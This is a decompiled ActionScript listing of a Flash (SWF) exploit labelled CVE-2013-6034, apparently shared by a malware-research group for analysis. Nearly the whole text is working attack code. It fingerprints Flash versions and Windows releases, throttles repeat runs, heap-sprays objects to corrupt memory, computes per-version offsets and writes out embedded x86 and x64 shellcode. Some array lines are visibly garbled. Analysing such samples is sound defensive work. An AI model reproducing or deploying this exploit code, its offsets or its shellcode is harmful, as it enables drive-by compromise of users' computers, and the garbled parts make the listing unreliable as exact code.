// #MalwareMustDie // SWF of CVE-2013-6034 decompiled package mx.core { public namespace mx_internal = "h00p://www.adobe.com/2006/flex/mx/internal"; } //package mx.core package mx.core { public interface IFlexAsset { } } //package mx.core package mx.core { import flash.utils.*; public class ByteArrayAsset extends ByteArray implements IFlexAsset { mx_internal static const version: string = "4.6.0.23201"; } } //package mx.core package { import __AS3__.vec.*; import flash.display.*; import flash.utils.*; import flash.text.*; import flash.system.*; import flash.media.*; import flash.net.*; public class LadyBoyle extends Sprite { private var the_x32_Class: class; private var the_x64_Class: class; public var version; public function LadyBoyle() { var _local2: string; var _local23: number; var _local24: string; var _local25: uint; var _local26: uint; var _local27: string; var _local28: ByteArray; var _local29: Vector. < uint > ; var _local30: Vector. < uint > ; var _local31: uint; var _local32: uint; var _local33: uint; var _local34: * ; var _local35: ByteArray; var _local36: uint; var _local37: uint; var _local38: uint; var _local39: uint; var _local40: uint; this.the_x32_Class = LadyBoyle_the_x32_Class; this.the_x64_Class = LadyBoyle_the_x64_Class; this.version = capabilities.version.tolowercase() .tostring(); super(); var _local1: uint; var _local3: uint; var _local4: ByteArray = new ByteArray(); var _local5: Vector. < Object > = new < Object > []; var _local6: sound = new sound(); var _local7: uint; var _local8: uint; var _local9: uint; var _local10: uint; var _local11: uint; var _local12: uint; var _local13: uint; var _local14: uint; var _local15: uint; var _local16: uint; var _local17: ByteArray = _local4; switch (this.version) { /// get the version and select case of it.. case "win 11,5,502,146": break; case "win 11,5,502,135": break; case "win 11,5,502,110": break; case "win 11,4,402,287": break; case "win 11,4,402,278": break; case "win 11,4,402,265": break; default: return (this.empty()); }; var _local18: sharedobject = sharedobject.getlocal("ImplentenstWell"); if (_local18.size != 0) { _local23 = (new date() .time - _local18.data.now); if (_local23 > ((((7 * 24) * 60) * 60) * 1000)) { _local18.close(); } else { return (this.empty()); }; }; var _local19: string = capabilities.os.tolowercase() .tostring(); switch (_local19) { case "windows 7": break; case "windows server 2008 r2": break; case "windows server 2008": break; case "windows server 2003 r2": break; case "windows server 2003": break; case "windows xp": break; case "windows vista": break; default: return (this.empty()); }; _local1 = 0; while (_local1 < 0x4000) { _local24 = ""; _local3 = 0; while (_local3 < 42) { _local24 = (_local24 + string.fromcharcode(this.randRange(97, 122))); _local3++; }; _local5[_local1] = new < Object > [new RegExp(_local24, ""), new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Number > [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _loca new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4,cal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4ocal4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _locallocal4], new < Object > [null, _local6, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4, _local4]]; _local1++; }; _local1 = 8210; while (_local1 < (0x4000 - 1)) { if ((_local1 % 2) != 0) { _local5[_local1][2] = null; }; _local1++; }; _local2 = "(?i)()()(?-i)||||||||||||||||||||||"; var _local20: RegExp = new RegExp(_local2, ""); var _local21: boolean; var _local22: uint; _local1 = 0; while (_local1 < 0x4000) { if (_local21) { break; }; _local8 = 1; while (_local8 <= 8) { try { if ((_local5[_local1][_local8] as Vector. < Number > ) .length > 17) { _local7 = _local1; _local22 = _local8; _local21 = true; break; }; } catch (e: error) {}; _local8++; }; _local1++; }; if (!_local21) { do {} while (1); }; if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0] == 16) { _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1]; (_local5[_local7][_local22] as Vector. < Number > )[17] = this.UintToDouble(0xFFFFFFFF, _local9); (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0); _local21 = false; _local1 = 0; while (_local1 < 0x4000) { if (_local21) { break; }; _local8 = 1; while (_local8 <= 8) { try { if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) { _local7 = _local1; _local22 = _local8; _local21 = true; break; }; } catch (e: error) {}; _local8++; }; _local1++; }; if (!_local21) { do {} while (1); }; (_local5[_local7][_local22] as Vector. < Number > )[536870893] = this.UintToDouble(16, _local9); _local1 = 0; while (_local1 < 0x1000) { if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[1] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) { _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[1] & 0xFFFFFFF8); _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8); _local13 = _local12; break; }; _local1++; }; if (_local1 == 0x1000) { (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9); return; }; _local1 = 0; while (_local1 < 0x4000) { _local8 = 1; while (_local8 <= 8) { if (!(((_local1 == _local7)) && ((_local8 == _local22)))) { _local5[_local1][_local8] = null; }; _local8++; }; _local1++; }; _local1 = 1; while (_local1 < 4) { _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * _local1) + (_local1 - 1))); _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((17 * (_local1 + 1)) + _local1)); if ((((((((((_local29[1] == _local9)) && ((_local30[1] == _local9)))) && ((_local29[1] < _local29[0])))) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) { _local10 = (_local29[0] - (144 * (_local1 + 1))); break; }; _local1++; }; if (_local10 == 0) { (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9); return; }; _local1 = 0; while (_local1 < (0x0400 * 100)) { _local17.writeUnsignedInt(0x41414141); _local1++; }; _local15 = ((((_local12 + 64) - _local10) - 8) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local15 = ((((_local12 + 8) - _local10) - 8) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local12 = (_local12 + _local17.position); _local14 = _local17.position; _local15 = (((_local11 - _local10) - 8) / 8); _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local25 = 0; _local26 = 0; _local27 = capabilities.version.tolowercase(); switch (_local27) { case "win 11,5,502,146": if (capabilities.playertype.tolowercase() == "activex") { ///// this will check the player type _local25 = (_local16 - 1838536); ///// and execute value if it is activex _local26 = (_local16 - 574720); }; break; case "win 11,5,502,135": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 2266027); _local26 = (_local16 - 574864); }; break; case "win 11,5,502,110": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 1600110); _local26 = (_local16 - 574424); }; break; case "win 11,4,402,287": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 4624790); _local26 = (_local16 - 574196); }; break; case "win 11,4,402,278": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 1227937); _local26 = (_local16 - 573876); }; break; case "win 11,4,402,265": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 7925883); _local26 = (_local16 - 573876); }; break; default: ////// without activeX too..... (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9); return; }; if ((((((_local27 == "win 11,5,502,110")) || ((_local27 == "win 11,5,502,135")))) || ((_local27 == "win 11,5,502,146")))) { _local15 = (((_local26 - _local10) - 8) / 8); _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; } else { _local15 = ((((_local26 - 4) - _local10) - 8) / 8); _local26 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]; }; _local17.endian = Endian.LITTLE_ENDIAN; _local17.position = (_local17.position + 112); _local17.writeUnsignedInt(_local25); _local17.position = ((_local17.position - 112) - 4); _local17.writeUnsignedInt(_local26); _local17.writeUnsignedInt((_local12 + 136)); _local17.writeUnsignedInt(_local12); _local17.writeUnsignedInt(0x2000); _local17.writeUnsignedInt(0x1000); _local17.writeUnsignedInt(64); _local17.position = (_local17.position + 112); _local17.writeUnsignedInt(3968045260); _local17.writeUnsignedInt(1692087152); _local17.writeUnsignedInt(2333629323); _local17.writeUnsignedInt(1535848539); _local17.writeUnsignedInt(475761420); _local17.writeUnsignedInt(2332578699); _local17.writeUnsignedInt(2089499770); _local17.writeUnsignedInt(3163368506); _local17.writeUnsignedInt(0xE0003A); _local17.writeUnsignedInt(0x408BB800); _local17.writeUnsignedInt(121226032); _local17.writeUnsignedInt(3947299700); _local17.writeUnsignedInt(1760529401); _local17.writeUnsignedInt(0x6C0065); _local17.writeUnsignedInt(0x6E007268); _local17.writeUnsignedInt(0x6B6800); _local17.writeUnsignedInt(0x33FC0065); _local17.writeUnsignedInt(2333838281); _local17.writeUnsignedInt(544967668); _local17.writeUnsignedInt(2817721265); _local17.writeUnsignedInt(1535898485); _local17.writeUnsignedInt(1012108040); _local17.writeUnsignedInt(2014991499); _local17.writeUnsignedInt(3961144461); _local17.writeUnsignedInt(1418450431); _local17.writeUnsignedInt(3540197402); _local17.writeUnsignedInt(3375612675); _local17.writeUnsignedInt(4328); _local17.writeUnsignedInt(0x74655300); _local17.writeUnsignedInt(1701996628); _local17.writeUnsignedInt(1866687585); _local17.writeUnsignedInt(2019914862); _local17.writeUnsignedInt(607423348); _local17.writeUnsignedInt(4211292811); _local17.writeUnsignedInt(2817721521); _local17.writeUnsignedInt(3263367284); _local17.writeUnsignedInt(79725316); _local17.writeUnsignedInt(277605355); _local17.writeUnsignedInt(3224621827); _local17.writeUnsignedInt(548522123); _local17.writeUnsignedInt(2884893835); _local17.writeUnsignedInt(270795975); _local17.writeUnsignedInt(0x54000100); _local17.writeUnsignedInt(3539992170); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(15499616); _local17.writeUnsignedInt(0x8B000004); _local17.writeUnsignedInt(1548208124); _local17.writeUnsignedInt(0x41414141); _local17.writeUnsignedInt(1481099152); _local17.writeUnsignedInt(0x42424242); _local17.writeUnsignedInt(1949435847); _local17.writeUnsignedInt(1204227217); _local17.writeUnsignedInt(169053700); _local17.writeUnsignedInt(138921900); _local17.writeUnsignedInt(2206065209); _local17.writeUnsignedInt(2399946695); _local17.writeUnsignedInt(3345029362); _local17.writeUnsignedInt(848498759); _local17.writeUnsignedInt(1204262116); _local17.writeUnsignedInt(2614448148); _local17.writeUnsignedInt(407357387); _local17.writeUnsignedInt(3685531203); _local17.writeUnsignedInt(2988197831); _local17.writeUnsignedInt(3339915062); _local17.writeUnsignedInt(2378440775); _local17.writeUnsignedInt(1204253727); _local17.writeUnsignedInt(2721009956); _local17.writeUnsignedInt(675792641); _local17.writeUnsignedInt(4279068247); _local17.writeUnsignedInt(2603370439); _local17.writeUnsignedInt(3353709447); _local17.writeUnsignedInt(2951557191); _local17.writeUnsignedInt(1204270335); _local17.writeUnsignedInt(1259979316); _local17.writeUnsignedInt(944228097); _local17.writeUnsignedInt(2594566269); _local17.writeUnsignedInt(3829155783); _local17.writeUnsignedInt(3351614507); _local17.writeUnsignedInt(2649505863); _local17.writeUnsignedInt(1204266079); _local17.writeUnsignedInt(863489092); _local17.writeUnsignedInt(19392911); _local17.writeUnsignedInt(0xC0330000); _local17.writeUnsignedInt(3187044); _local17.writeUnsignedInt(0x408B0000); _local17.writeUnsignedInt(339774220); _local17.writeUnsignedInt(0x8B008B); _local17.writeUnsignedInt(2333098123); _local17.writeUnsignedInt(1794608104); _local17.writeUnsignedInt(3253229841); _local17.writeUnsignedInt(0xE2000000); _local17.writeUnsignedInt(2179894265); _local17.writeUnsignedInt(262380); _local17.writeUnsignedInt(0x89C03300); _local17.writeUnsignedInt(2106273861); _local17.writeUnsignedInt(2170508380); _local17.writeUnsignedInt(131308); _local17.writeUnsignedInt(0x685700); _local17.writeUnsignedInt(0xFF000001); _local17.writeUnsignedInt(3224569941); _local17.writeUnsignedInt(121405504); _local17.writeUnsignedInt(0x89F97500); _local17.writeUnsignedInt(80175173); _local17.writeUnsignedInt(1667391751); _local17.writeUnsignedInt(121947950); _local17.writeUnsignedInt(1734763268); _local17.writeUnsignedInt(0x6A006A00); _local17.writeUnsignedInt(0x6A026A00); _local17.writeUnsignedInt(0x68006A00); _local17.writeUnsignedInt(0x40000000); _local17.writeUnsignedInt(272993111); _local17.writeUnsignedInt(18920); _local17.writeUnsignedInt(0xF88300); _local17.writeUnsignedInt(1166619262); _local17.writeUnsignedInt(1078314804); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(0x458D006A); _local17.writeUnsignedInt(1979666500); _local17.writeUnsignedInt(1551236952); _local17.writeUnsignedInt(4281628159); _local17.writeUnsignedInt(1979654229); _local17.writeUnsignedInt(676724532); _local17.writeUnsignedInt(541443927); _local17.writeUnsignedInt(1098385763); _local17.writeUnsignedInt(0xE800458B); _local17.writeUnsignedInt(18); _local17.writeUnsignedInt(130335873); _local17.writeUnsignedInt(0x8D610000); _local17.writeUnsignedInt(1791218789); _local17.writeUnsignedInt(0xFFFF6AFF); _local17.writeUnsignedInt(947915861); _local17.writeUnsignedInt(2148168936); _local17.writeUnsignedInt(91547960); _local17.writeUnsignedInt(1978349696); _local17.writeUnsignedInt(91783441); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(4287301748); _local17.writeUnsignedInt(2381089621); _local17.writeUnsignedInt(3774809408); _local17.writeUnsignedInt(1972065873); _local17.writeUnsignedInt(779389756); _local17.writeUnsignedInt(1458897784); _local17.writeUnsignedInt(52459147); _local17.writeUnsignedInt(1237922805); _local17.writeUnsignedInt(3305352513); _local17.writeUnsignedInt(3188710195); _local17.writeUnsignedInt(1960196624); _local17.writeUnsignedInt(130793736); _local17.writeUnsignedInt(3946895875); _local17.writeUnsignedInt(1964981233); _local17.writeUnsignedInt(1586192103); _local17.writeUnsignedInt(1725760292); _local17.writeUnsignedInt(2336951435); _local17.writeUnsignedInt(3707968606); _local17.writeUnsignedInt(59442315); _local17.writeUnsignedInt(1499376581); _local17.writeUnsignedInt(4275366083); _local17.writeUnsignedInt(2425421823); _local17.writeUnsignedInt(0x90909090); _local18.data.now = new date() .time; _local18.flush(); _local18.close(); _local28 = new this.the_x32_Class(); /// x32 _local17.writeBytes(_local28, 0, _local28.length); _local12 = _local13; _local15 = ((((_local12 + 64) - _local10) - 8) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local15 = ((((_local12 + 8) - _local10) - 8) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local12 = (_local12 + _local14); _local17.position = (_local14 + 112); /// building x32 bit binary...... _local17.writeUnsignedInt(_local25); _local17.position = ((_local17.position - 112) - 4); _local17.writeUnsignedInt(_local26); _local17.writeUnsignedInt((_local12 + 136)); _local17.writeUnsignedInt(_local12); _local17.writeUnsignedInt(0x2000); _local17.writeUnsignedInt(0x1000); _local17.writeUnsignedInt(64); _local17.position = (_local17.position + 112); _local17.writeUnsignedInt(3968032912); _local17.writeUnsignedInt(1692087152); _local17.writeUnsignedInt(2333629323); _local17.writeUnsignedInt(1535848539); _local17.writeUnsignedInt(475761420); _local17.writeUnsignedInt(2332578699); _local17.writeUnsignedInt(2089499770); _local17.writeUnsignedInt(3163368506); _local17.writeUnsignedInt(0xE0003A); _local17.writeUnsignedInt(0x408BB800); _local17.writeUnsignedInt(121226032); _local17.writeUnsignedInt(3947299700); _local17.writeUnsignedInt(1760529401); _local17.writeUnsignedInt(0x6C0065); _local17.writeUnsignedInt(0x6E007268); _local17.writeUnsignedInt(0x6B6800); _local17.writeUnsignedInt(0x33FC0065); _local17.writeUnsignedInt(2333838281); _local17.writeUnsignedInt(544967668); _local17.writeUnsignedInt(2817721265); _local17.writeUnsignedInt(1535898485); _local17.writeUnsignedInt(1012108040); _local17.writeUnsignedInt(2014991499); _local17.writeUnsignedInt(3961144461); _local17.writeUnsignedInt(1418450431); _local17.writeUnsignedInt(3540197402); _local17.writeUnsignedInt(3375612675); _local17.writeUnsignedInt(4328); _local17.writeUnsignedInt(0x74655300); _local17.writeUnsignedInt(1701996628); _local17.writeUnsignedInt(1866687585); _local17.writeUnsignedInt(2019914862); _local17.writeUnsignedInt(607423348); _local17.writeUnsignedInt(4211292811); _local17.writeUnsignedInt(2817721521); _local17.writeUnsignedInt(3263367284); _local17.writeUnsignedInt(79725316); _local17.writeUnsignedInt(277605355); _local17.writeUnsignedInt(3224621827); _local17.writeUnsignedInt(548522123); _local17.writeUnsignedInt(2884893835); _local17.writeUnsignedInt(270795975); _local17.writeUnsignedInt(0x54000100); _local17.writeUnsignedInt(3539992170); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(0x90909090); _local17.writeUnsignedInt(552370528); _local17.writeUnsignedInt(0x8B000001); _local17.writeUnsignedInt(1548208124); _local17.writeUnsignedInt((((_local12 + 616) + 176) - 4)); _local17.writeUnsignedInt(1481099152); _local17.writeUnsignedInt(_local28.length); _local15 = (((_local11 - _local10) - 8) / 8); (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]); new number(_local6.tostring()); (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local16, this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[1]); (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9); (_local5[_local7][_local22] as Vector. < Number > )[536870911] = this.UintToDouble(16, _local9); return; }; if (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 16)[0] == 16) { _local31 = 0; _local31 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[1]; _local9 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), 17)[0]; (_local5[_local7][_local22] as Vector. < Number > )[16] = this.UintToDouble(0xFFFFFFFF, 0); (_local5[_local7][_local22] as Vector. < Number > )[18] = this.UintToDouble(0x41414141, 0); _local32 = _local7; _local33 = _local22; _local21 = false; _local1 = 0; while (_local1 < 0x4000) { if (_local21) { break; }; _local8 = 1; while (_local8 <= 8) { try { if (this.ReadDouble((_local5[_local1][_local8] as Vector. < Number > ), 0)[0] == 0x41414141) { _local7 = _local1; _local22 = _local8; _local21 = true; break; }; } catch (e: error) {}; _local8++; }; _local1++; }; if (!_local21) { do {} while (1); }; _local1 = 0; while (_local1 < 0x1000) { if ((((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local1)[0] == 32)) && ((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 1))[0] == 1)))) { _local11 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[0] & 0xFFFFFFF8); _local12 = (this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[0] & 0xFFFFFFF8); _local13 = _local12; break; }; _local1++; }; if (_local1 == 0x1000) { do {} while (1); }; if (((!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 2))[1] == _local31))) || (!((this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), (_local1 + 3))[1] == _local31))))) { do {} while (1); }; _local1 = 0; while (_local1 < 0x4000) { _local8 = 1; while (_local8 <= 8) { if (((!((((_local1 == _local7)) && ((_local8 == _local22))))) && (!((((_local1 == _local32)) && ((_local8 == _local33))))))) { _local5[_local1][_local8] = null; }; _local8++; }; _local1++; }; _local1 = 1; while (_local1 < 4) { _local29 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * _local1) + (2 * (_local1 - 1)))); _local30 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), ((16 * (_local1 + 1)) + (2 * ((_local1 + 1) - 1)))); if ((((((_local29[1] < _local29[0])) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) { _local10 = (_local29[0] - (144 * (_local1 + 1))); break; }; _local1++; }; if (_local10 == 0) { do {} while (1); }; _local1 = 0; while (_local1 < (0x0400 * 100)) { _local17.writeUnsignedInt(0x41414141); _local1++; }; _local15 = ((((_local12 + 128) - _local10) - 16) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local15 = ((((_local12 + 16) - _local10) - 16) / 8); _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local12 = (_local12 + _local17.position); _local14 = _local17.position; _local15 = (((_local11 - _local10) - 16) / 8); _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0]; _local25 = 0; _local26 = 0; _local27 = capabilities.version.tolowercase(); switch (_local27) { case "win 11,5,502,146": if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,146 _local25 = (_local16 - 9071905); _local26 = (_local16 - 9089174); _local36 = (_local16 - 9060829); _local37 = (_local16 - 7731648); _local38 = (_local16 - 11089788); _local39 = (_local16 - 9449127); _local40 = (_local16 - 11110664); }; break; case "win 11,5,502,135": if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,135": _local25 = (_local16 - 9292362); _local26 = (_local16 - 9088790); _local36 = (_local16 - 8914426); _local37 = (_local16 - 7731936); _local38 = (_local16 - 9903898); _local39 = (_local16 - 9448767); _local40 = (_local16 - 3107441); }; break; case "win 11,5,502,110": if (capabilities.playertype.tolowercase() == "activex") { /// Exploit to Adobe Flash 11,5,502,110": _local25 = (_local16 - 9071861); _local26 = (_local16 - 9089094); _local36 = (_local16 - 8914810); _local37 = (_local16 - 9484510); _local38 = (_local16 - 11089740); _local39 = (_local16 - 9449051); _local40 = (_local16 - 2558975); }; break; case "win 11,4,402,287": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 4396458); _local26 = ((_local16 - 10488402) + 6295484); _local36 = (_local16 - 10718521); _local37 = (_local16 - 10488402); _local38 = (_local16 - 10712843); _local39 = (_local16 - 4552839); _local40 = ((_local16 - 4396458) - 5883414); }; break; case "win 11,4,402,278": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 4174757); _local26 = (_local16 - 4191990); _local36 = (_local16 - 4618011); _local37 = (_local16 - 4568738); _local38 = (_local16 - 6192519); _local39 = (_local16 - 4551855); _local40 = (_local16 - 1561744); }; break; case "win 11,4,402,265": if (capabilities.playertype.tolowercase() == "activex") { _local25 = (_local16 - 4174757); _local26 = (_local16 - 4191990); _local36 = (_local16 - 1865551); _local37 = (_local16 - 1146567); _local38 = (_local16 - 1838030); _local39 = (_local16 - 4551855); _local40 = (_local16 - 927856); }; break; default: do {} while (1); }; _local17.endian = Endian.LITTLE_ENDIAN; _local34 = _local17.position; _local17.position = (_local17.position + 224); _local17.writeUnsignedInt(_local25); _local17.position = _local34; _local17.position = (_local17.position + 160); _local17.writeUnsignedInt((_local12 + 0x0100)); _local17.writeUnsignedInt(_local31); _local17.position = _local34; _local17.writeUnsignedInt(_local37); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(64); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local39); _local17.writeUnsignedInt(0); _local17.position = (_local17.position + 40); _local17.writeUnsignedInt(_local36); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt((_local12 + 0x0100)); _local17.writeUnsignedInt(_local31); _local17.writeUnsignedInt(_local38); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(0x2000); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local37); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local26); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(_local40); _local17.writeUnsignedInt(0); _local17.position = (_local34 + 0x0100); _local17.writeUnsignedInt(1442615440); _local17.writeUnsignedInt(4041507656); _local17.writeUnsignedInt(1708274504); _local17.writeUnsignedInt(1616022344); _local17.writeUnsignedInt(408062792); _local17.writeUnsignedInt(542280520); _local17.writeUnsignedInt(1349684040); _local17.writeUnsignedInt(1253510984); _local17.writeUnsignedInt(3375582538); _local17.writeUnsignedInt(2898277192); _local17.writeUnsignedInt(41705788); _local17.writeUnsignedInt(3242270764); _local17.writeUnsignedInt(54791625); _local17.writeUnsignedInt(1391321800); _local17.writeUnsignedInt(3125367105); _local17.writeUnsignedInt(2460948186); _local17.writeUnsignedInt(0); _local17.writeUnsignedInt(1976187725); _local17.writeUnsignedInt(1384859717); _local17.writeUnsignedInt(1010993952); _local17.writeUnsignedInt(2344747848); _local17.writeUnsignedInt(34944); _local17.writeUnsignedInt(0xC0854800); _local17.writeUnsignedInt(2168991860); _local17.writeUnsignedInt(98540); _local17.writeUnsignedInt(0xFC8B4800); _local17.writeUnsignedInt(2162983240); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(2337325571); _local17.writeUnsignedInt(2336495688); _local17.writeUnsignedInt(55320640); _local17.writeUnsignedInt(1284065474); _local17.writeUnsignedInt(2303465508); _local17.writeUnsignedInt(1210065988); _local17.writeUnsignedInt(673465481); _local17.writeUnsignedInt(1497434347); _local17.writeUnsignedInt(311117914); _local17.writeUnsignedInt(1095860971); _local17.writeUnsignedInt(3669641552); _local17.writeUnsignedInt(22010614); _local17.writeUnsignedInt(0xE8000000); _local17.writeUnsignedInt(315); _local17.writeUnsignedInt(1225230664); _local17.writeUnsignedInt(2924948922); _local17.writeUnsignedInt(347); _local17.writeUnsignedInt(19523584); _local17.writeUnsignedInt(0x89480000); _local17.writeUnsignedInt(3125348423); _local17.writeUnsignedInt(1384617670); _local17.writeUnsignedInt(1); _local17.writeUnsignedInt(71400); _local17.writeUnsignedInt(0x47894800); _local17.writeUnsignedInt(1287276816); _local17.writeUnsignedInt(17245815); _local17.writeUnsignedInt(0xE8000000); _local17.writeUnsignedInt(259); _local17.writeUnsignedInt(407341384); _local17.writeUnsignedInt(4080056905); _local17.writeUnsignedInt(58441); _local17.writeUnsignedInt(0xF0E80000); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(1210075017); _local17.writeUnsignedInt(2370369419); _local17.writeUnsignedInt(32958); _local17.writeUnsignedInt(0x40B900); _local17.writeUnsignedInt(0x33480000); _local17.writeUnsignedInt(3115054016); _local17.writeUnsignedInt(0x0100); _local17.writeUnsignedInt(2156301640); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(2336805003); _local17.writeUnsignedInt(1451969752); _local17.writeUnsignedInt(3539943712); _local17.writeUnsignedInt(2156301640); _local17.writeUnsignedInt(0x48000000); _local17.writeUnsignedInt(860408115); _local17.writeUnsignedInt(51153627); _local17.writeUnsignedInt(2160328520); _local17.writeUnsignedInt(0xF57500F9); _local17.writeUnsignedInt(3352035144); _local17.writeUnsignedInt(1868759812); _local17.writeUnsignedInt(1153918574); _local17.writeUnsignedInt(1734935555); _local17.writeUnsignedInt(1153917998); _local17.writeUnsignedInt(1819019267); _local17.writeUnsignedInt(0x33450000); _local17.writeUnsignedInt(1153910985); _local17.writeUnsignedInt(12324); _local17.writeUnsignedInt(0x8D480000); _local17.writeUnsignedInt(32910); _local17.writeUnsignedInt(45629696); 